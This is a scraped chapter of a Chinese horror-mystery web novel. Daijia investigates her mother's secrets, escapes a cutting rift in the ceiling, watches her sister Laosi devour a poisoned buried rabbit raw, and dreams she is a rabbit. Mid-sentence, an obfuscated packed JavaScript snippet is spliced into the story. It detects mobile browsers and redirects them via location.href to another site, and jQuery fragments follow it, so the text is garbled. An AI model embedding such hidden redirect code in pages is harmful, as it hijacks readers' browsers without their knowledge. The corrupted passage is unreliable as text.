黛佳蜷缩在沙发上望着天花板。琢磨老三在临走之前对她说的,“你以为妈妈很爱你吗?我们都只是替身而已。”
她有些猜到,之前老四差点被掐死的时候妈妈就说过不如第一堆,那时她就怀疑,第一堆指的是孩子。只是年龄方面对不上,再加上没有明确证据,这个猜想也就被搁置了。
如今老三的话虽然证实了当初她的猜测是正确的,可是也让她更摸不着头脑。妈妈生的第一胎孩子绝对已经能说会跳,否则妈妈不会到现在还拿她们做对比。
她看向房间。
老四在其他人走后就进了房间没再出来,黛佳说不准她什么时候会突然出现,只能老实在客厅打转。
又等待了片刻,她悄声走到老四所在的房间门外,收敛呼吸侧耳听里面的动静。屋内静悄悄的,只依稀能听见偶尔的脚步声。
想了想,黛佳径直去了妈妈房间,原本想找上次发现的本子,结果居然换了位置,倒是箱子还大剌剌摆在显眼的地方,黛佳瞬间就意识到妈妈是故意的,但秉承着来都来了,黛佳毫不心虚地进门。
在找本子时,黛佳细心留意有哪些上次没见过的东西,不知道是不是妈妈故意留的诱饵,黛佳找到了一张泛黄,却被精心保护的字条,上面写着“妈妈对不起”落款时间是二十年前。
黛佳算了算时间,她们现在也不到二十,这张字条是谁写的?写给谁的?妈妈?还是......第一堆?如果是第一堆的话,年龄就更对不上了。她看过妈妈的身份证明,年龄不到四十五,结婚时间也不过二十五年,更别提还要怀胎十月。
她把东西放回去,又去了客厅。在上次放地毯的位置敲了敲,“居然是实心的。”她扩大范围,绕着圈在周围都试了试,没找到任何异样,只好无奈地回到沙发。
躺在沙发上消磨光阴时,天花板上突然出现了十字架,黛佳原本想翻身当没看见,但不知为什么,这次十字架不仅没有消失,反而还越来越大,中间甚至隐隐有分裂的趋势。
黛佳盯着看了一会儿,起身去搬椅子,试图看清里面的样子,但距离天花板太远。黛佳从外面找来一根树枝,往十字架缝隙戳去。
就去外面捡了根树枝的功夫,十字架中间彻底裂开一个小口子,随后彻底没动静了。黛佳怕它消失,连忙将木棍伸进去,在里面等了几秒后,十字架突然消失,伸进去的那一部分也跟着不见。
黛佳仔细查看,树枝断的十分完美,切面整齐,没有多余的树皮或木屑,可见切割利器之锋利。
她很庆幸自己没有莽撞地伸手,而是去外面找了根树枝,不然现在被完美切割的就是她的手指了。黛佳珍惜的摸摸自己的手指,差点就要说再见了。她把树枝放在埋兔子的地方,“你们做个伴吧。”刚好都能复活。
“你在干什么?”老四站在门口问。
黛佳回头,她进来的时候没有关门,被看见了也不意外,她实话实说,“在为拯救我的树枝哀悼。”
“......”老四开始怀疑自己脑子是不是也坏了,她以前怎么会觉得这傻子一肚子坏水呢?
看到对方一脸便秘地离开,黛佳不明所以,追出去问:“你怎么了?”
老四满脸复杂,“只是想通了一些事。”她打量完黛佳,垂头丧气地离开,自言自语道,“傻子也不一定就不坏,只能说是不自知的蠢吧。”
黛佳:“......”
她是不是疯了?如果现在不是在家里,她可能会把老四揍一顿。
黛佳出来后没看见老四,她也没在意,只以为她出去玩了。
谁曾想不多时老四突然出现,黛佳余光注意到她的兴奋,抬眼看过去时发现,老四身上脏兮兮的像是刚从湿土里滚了一圈,她开玩笑道,“怎么弄的这么脏?你觉醒动物习性了?”
老四站在门口,双手背在身后蹦了几下,试图把身上的灰尘蹦干净,发现不行后才长叹一口气。随后提着一只沾满泥土的兔子大跨步走进来,嘴里还埋怨她。
“小妹,你这就不够意思了。有肉为什么不拿出来给我们吃,还把它埋起来,你不会是想自己吃独食吧!”她眼神狡黠,一副被我发现了吧的样子,贴心道,“放心吧,这是我们两个之间的秘密,只要......你分享一半给我。”
“那只兔子不能吃。”黛佳被气的额角暴起青筋,她就说老四怎么这么安静,原来是在作妖!
老四明显认为黛佳在说谎,眼神贪婪的扫过兔子,黛佳甚至觉得,如果不是兔子刚从土里挖出来,老四能直接舔上几口解馋。
看到老四只想进油盐的样子黛佳简直无语死了,这人对肉怎么这么敏锐,上辈子馋死的吗!
她耐心劝说,“这只兔子真的不能吃,是被药死的,不然我也不会把它埋起来。”为了增添说服力,她甚至搬出妈妈,“再说了,如果真的能吃,我肯定会先送给妈妈讨她开心,怎么会放弃这个大好的机会呢。”
原本黛佳以为,搬出妈妈就能让老四相信自己,没想到老四听到妈妈就应激,面孔扭曲语气凶狠,“你别给我提妈妈!你休想让妈妈吃上肉!”说完,她不顾兔子上的泥土,直接啃了一大口生肉,边嚼边放狠话,“就算我吃死,也不会把这肉让出去!”
黛佳在她脸色大变时就想直接冲上前抢兔子了,谁知道她竟然直接吃生的,在看到黛佳跑过来时,老四抬腿就跑,边跑边啃,甚至顾不上咀嚼硬生生吞下去。
埋了半天的生肉加泥土的味道黛佳无法想象,她看老四吃的那么猛简直让人佩服。刚刚老四逃跑的过程中她看的清晰,明明有虫掉下来了,黛佳一阵恶寒,也不追了,实在好奇老四怎么会有如此毅力。
她问,“你到底是真的想吃还是单纯不想让妈妈吃?”
老四自顾自地快速吞下剩下的肉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16961758|193332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才开口,“都是。”吃完肉后她心情明显好多了,但还是有些不服气,“都怪你,要不是你一直拦我,我就能好好品味这肉的味道了。”
黛佳看着地上的骨头沉默了,这肉有什么好品味的,“你吃的开心就好,别和任何人说。”
老四捂住嘴,坚定的点头。
大概是黛佳的无语太过显眼,老四借口收拾残局就溜了,留下黛佳一人站在原地怀疑人生。她长记性了,这人对肉的占有欲格外强烈,下次做试验要死死防着她。
她收拾好心情,回到房间思考下一步要做什么。
房门被敲响,老四站在门外,“我收拾好了,你快去客厅吧。”
黛佳:“为什么你不留在客厅?”
老四理所当然的说:“因为我要在房间睡觉啊。”
黛佳看看她嘴角还没擦干净的土,再看看她身上还没来得及换的脏衣服,觉得自己好疲惫。算了吧,她安慰自己,和一个什么都敢吃的傻子计较什么呢?
所以她什么都没说,越过老四就去了客厅正襟危坐。黛佳想用这种方式让自己清醒一点,却在不知不觉间睡着了。
......
“这是哪儿?”
黛佳睁开眼,发现自己正处在一个陌生的地方,周围是杂草树木,抬头只能看见几丝掉落的光线透过树叶,她感觉自己很渺小。试探地往前走几步,却感觉脚下触感不对,低头才发现自己四肢着地皮毛雪白。但她没觉得哪里不对,反而蹦蹦跳跳的离开。
一路上,周边仿佛只有她自己,她忘记了一切,兴奋地在草里蹦跳啃咬,在她忘乎所以的时候,突然被东西扎了一下,立马就失去了意识。恍惚间,她感觉自己被人掐住命运的后脖颈——被什么东西提在半空,四肢无力地乱蹬企图逃离。
再睁眼时,她已经被关在了笼子里,周围全是精神萎靡的兔子,还有些躺在笼子里半死不活。黛佳缩在角落一动不动,希望降低自己的存在感。随着其他兔子被抓走,黛佳也被抓了出来。
眼前再次变黑,最后一次睁眼,黛佳感觉自己被挂了起来,全身上下不能动弹,只有眼睛能勉强看到外界,像坐旋转木马一样,不断转圈。
这种感觉很难熬,刚开始黛佳还晕的想吐,后来已经完全适应了,甚至有闲心观察外面的人。只是每次只有一只眼睛能看见,视角受限实在不方便。
黛佳不知道自己转了多久,恍惚中她甚至睡了一觉,醒来天已经黑了,原本喧闹繁华的街道寂静无声。
耳边有什么嗡嗡作响,黛佳努力去听清是什么声音。
“小妹?小妹!”
黛佳忽地坐了起来,狠狠喘了几口气,把旁边人吓了一跳。
“你怎么睡这么死?”
黛佳还有些心神恍惚,闻声望去,老四正双手插腰站在她旁边,“赶紧给我让点地方,你睡这儿我都没地方坐了。”